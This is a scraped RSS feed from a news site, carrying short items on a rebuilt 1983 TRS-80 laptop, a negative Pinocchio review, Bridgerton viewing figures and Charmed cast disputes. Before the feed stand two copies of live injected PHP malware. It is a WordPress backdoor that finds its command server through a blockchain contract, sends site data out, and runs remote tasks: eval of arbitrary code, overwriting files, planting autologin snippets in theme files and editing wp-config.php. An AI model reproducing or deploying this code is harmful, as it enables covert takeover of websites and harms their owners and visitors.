// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); original – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 25 Sep 2022 05:04:29 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png original – Brief News https://briefnews.eu 32 32 39-year-old Radio Shack laptop gets new CPU, keeps original screen https://briefnews.eu/39-year-old-radio-shack-laptop-gets-new-cpu-keeps-original-screen/ https://briefnews.eu/39-year-old-radio-shack-laptop-gets-new-cpu-keeps-original-screen/#respond Sun, 25 Sep 2022 05:04:29 +0000 https://briefnews.eu/39-year-old-radio-shack-laptop-gets-new-cpu-keeps-original-screen/
A 1983-era TRS-80 Model 100 as action hero, exploding onto the scene.

Enlarge / A 1983-era TRS-80 Model 100 as an action hero, dramatically exploding onto the scene. (credit: Radio Shack / Benj Edwards)

Faced with a broken Radio Shack laptop from 1983, IEEE Spectrum editor Stephen Cass didn’t throw it away. Instead, he pulled out the logic board and replaced it with a modern microcontroller so he could control the vintage screen. Cass wrote about his adventure in detail for Spectrum last week.

Cass performed his operation on a Radio Shack TRS-80 Model 100—one of the first laptops ever produced—which features a one-piece “slate” form designed by Kyocera and released as the NEC PC-8201 in Japan. Its claim to fame was not only its small portable size (at 2 inches thick and 3.9 lbs), but having a great keyboard paired with its ability to run for up to 20 hours on four AA batteries.

The Model 100 included a 2.4 MHz Intel 80C85 CPU, 8 to 32K of RAM, and an eight-line, 40-character monochrome LCD with no backlight. It doesn’t sound like much compared to today’s portable beasts, but journalists loved the Model 100 because they could comfortably write stories on the go using its built-in text editor. It also included Microsoft BASIC, a terminal program, and an address book in ROM.

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]]> https://briefnews.eu/39-year-old-radio-shack-laptop-gets-new-cpu-keeps-original-screen/feed/ 0 Disney’s Pinocchio Review: Re-Watch The Original Instead Of This Wooden Remake https://briefnews.eu/disneys-pinocchio-review-re-watch-the-original-instead-of-this-wooden-remake/ https://briefnews.eu/disneys-pinocchio-review-re-watch-the-original-instead-of-this-wooden-remake/#respond Thu, 08 Sep 2022 10:00:39 +0000 https://briefnews.eu/disneys-pinocchio-review-re-watch-the-original-instead-of-this-wooden-remake/

“Pinocchio” is the latest Disney animated film to get an updated “live-action” remake in our contemporary times. The 1940 original is rightfully a classic — a film that pushed the boundary of what animation can bring to the screen and a story about a boy’s earnest search to find out who he is. Robert Zemeckis’ remake, however, fails to capture the heart of the original. It’s poorly paced, full of actors talking in multiple variants of accented English that make Dick Van Dyke’s Cockney accent seem good in comparison, and delivers major characters who are stilted, disjointed, and lacking life.

The story of Zemeckis’ “Pinocchio” largely follows that of the original film, inspired by “The Adventures of Pinocchio” by Carlo Collodi. An old woodworker named Geppetto wishes on a star for Pinocchio, a wooden puppet he made, to become a real boy. Geppetto gets his wish, although Pinocchio remains made of wood and must prove himself to become “a real boy.” With Jiminy Cricket as his conscience, Pinocchio faces unexpected adventures such as becoming famous (and summarily exploited and imprisoned for it); getting sent to a place called Pleasure Island where bad children literally become jackasses; and culminates inside the belly of a giant sea monster. Throughout this journey, Pinocchio learns to be brave, truthful, and unselfish. Just like a real boy.

The original Disney movie came out over 80 years ago and is a product of its time. And as such, the remake updates certain things that haven’t fared well over the decades (you won’t, for example, see any kids sucking on cigarettes and getting wasted). Those are welcome changes, but the movie fails on almost every other front, even though the major plot points are essentially the same. It’s like someone put all the components of the original into a blender and turned the appliance on without a lid. The result is a big old mess; a story barely cobbled together by a series of painfully bad jokes and horrific Southern, French, Italian, and New York “Newsies” accents.

The Movie Has Some Good Moments, But Not Many

Before I get into the bad, let me give credit to the good in “Pinocchio.” The movie does contain moments that aren’t terrible. Cynthia Erivo’s Blue Fairy, the magical being who bestows Pinocchio with sentience, has empathy and warmth that’s hard to find elsewhere in the film. Jaquita Ta’le’s performance as the puppeteer that befriends Pinocchio is also a bright spot in a tale full of garish characters whose personalities are as flimsy and superficial as the production’s visual effects.

Other good things? For those of you who like Easter eggs, Geppetto’s cuckoo clocks might do something for you, as we see renditions of everything from “Snow White” to “Roger Rabbit” in the clock’s designs. For those of you who don’t like overly obvious references to Disney’s IP portfolio, however, these references might just be another thing that makes you want to hurl your remote at your television.

One of the best things I can say about the movie is that it likely won’t be one that your child will want to watch over and over, which means you won’t have to, either. It starts out slow, with Geppetto (a befuddled Tom Hanks) giving a 20-minute rambling soliloquy about how he misses his dead wife and son and how he made a wooden boy puppet to fill his lonely days. Why didn’t he make a new son the more conventional way? As Joseph Gordon-Levitt’s Jiminy Cricket explains later in his horrific pseudo-Southern accent, poor ol’ Geppetto doesn’t get out much. Apologies if you — like I did after Jiminy’s observation — get some imagery in your head that you never asked for. I’m just thankful that Geppetto decided to make a wooden replica of his dead son rather than his wife, although a Geppetto version of “Lars and the Real Girl” would arguably be a more intriguing and thought-provoking movie to watch.

A Not-Great Movie With A Muddled Message

If you and/or your child make it past the first 20 or so minutes of “Pinocchio,” you’ll be submitted to a series of wisecracks about Pinocchio being made of pine wood, so much so that you might think this is a crucial piece of information that comes into play later (reader, it does not, although you will be subjected to a horrible Chris Pine punchline). You’ll also have to endure the movie’s lackluster visual effects. It’s clear Disney knew it didn’t have a “Lion King” live-action remake on its hands and cut the budget accordingly. The CGI characters’ uncanny valleys are deep, and the spectacle of Pleasure Island is poorly rendered to the point of distraction. Pinocchio himself looks decent, although he did the “I can rotate my head 360 degrees” bit a few too many times, reminding you that puppets — even ones as annoyingly earnest as Pinocchio — are just plain creepy.

Monstro, the giant sea monster who swallows Pinocchio and Geppetto whole, is also suitably scary and one of the less-bad things about the film, especially the monster’s insides, which captures glimmers of the dark-yet-adventurous tone that I yearned for throughout the film.

And while the ending thankfully veers away from the message that one should strive to change themselves to make their parents happy, the “twist” occurs almost as an afterthought and is given barely a minute of genuflection before the credits begin. That crucial moment could be easily missed by a young person or a casual viewer, and in a worst-case scenario, might leave them thinking the opposite of the ultimate message the movie is trying to convey.

That’s not great, much like the rest of the movie. And as a parent myself, if faced with the choice of watching this film again with my child versus caving into her request to watch “Frozen” for the 35th million time, I would unhesitatingly get ready to hear “Let It Go” than rewatch this remake.

/Film Rating: 3 out of 10

“Pinocchio” starts streaming on Disney+ on September 8, 2022.

Read this next: The 14 Best Animated Movies (That Aren’t Made By Disney Or Pixar)

The post Disney’s Pinocchio Review: Re-Watch The Original Instead of This Wooden Remake appeared first on /Film.

]]> https://briefnews.eu/disneys-pinocchio-review-re-watch-the-original-instead-of-this-wooden-remake/feed/ 0 Netflix: Bridgerton Is Fifth-Largest Season Premiere for an Original Series https://briefnews.eu/netflix-bridgerton-is-fifth-largest-season-premiere-for-an-original-series/ https://briefnews.eu/netflix-bridgerton-is-fifth-largest-season-premiere-for-an-original-series/#respond Tue, 05 Jan 2021 01:39:53 +0000 https://briefnews.eu/netflix-bridgerton-is-fifth-largest-season-premiere-for-an-original-series/

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Lady Whistledown has her headline for tomorrow. If televisions and iPads existed during the Regency, that is.

Netflix tweeted on Monday evening that Bridgerton — its adaptation of Julia Quinn’s best-selling novels, which was created for TV by Chris Van Dusen and executive-produced by Shonda Rhimes’ Shondaland — is projected to be sampled by more than 63 million households* in its first four weeks of release. If true, that would make the sumptuous and rrrribald! period drama Netflix’s fifth-biggest* original series to date (behind The Witcher Season 1, Stranger Things Season 3, Money Heist Part 4 and Tiger King).

Couple that tally with the 44 million households that are projected to sample Robert Rodriguez’s We Can Be Heroes movie (which just got a sequel order), and Netflix claims (without independent verification, it must be noted) its “biggest viewing week between Christmas and New Year’s ever.”

*The numbers that Netflix reports are based on subscribers who have watched at least two minutes of a piece of content.

The unarguable critical success and pop-culture buzzworthiness of Bridgerton, which debuted eight episodes on Christmas Day, comes on the heels of Netflix declaring a decisive checkmate with its highly acclaimed Thanksgiving release, The Queen’s Gambit, which was sampled by 62 million households in its first 28 days — making it the streaming giant’s “biggest scripted limited series to date.”

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]]> https://briefnews.eu/netflix-bridgerton-is-fifth-largest-season-premiere-for-an-original-series/feed/ 0 Charmed’s Holly Marie Combs Calls to End ‘Division’ Between Fans of the Original Series and The CW Reboot https://briefnews.eu/charmeds-holly-marie-combs-calls-to-end-division-between-fans-of-the-original-series-and-the-cw-reboot/ https://briefnews.eu/charmeds-holly-marie-combs-calls-to-end-division-between-fans-of-the-original-series-and-the-cw-reboot/#respond Fri, 16 Oct 2020 07:06:00 +0000 https://briefnews.eu/charmeds-holly-marie-combs-calls-to-end-division-between-fans-of-the-original-series-and-the-cw-reboot/

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It’s been a dramatic week in the Charmed-verse, as several stars from both the original series and The CW’s reboot have spoken out publicly against one another. Now, Holly Marie Combs is taking a page from Piper Halliwell’s book and calling for peace.

“My Charmed friends … I would like everyone to stop,” Combs tweeted on Thursday night. “Truth be told and it will be told is that our issues were and are at the corporate level. And we have the receipts. Just as the new cast were asked to be people they were not we were given ultimatums that were crazily unfair.”

She added, “And I will say to the ladies of the reboot… stick together… negotiate together and know that the discourse between us, you guys and crews being discarded and replaced is what they bank on. Division. That is all. Blessed be.”

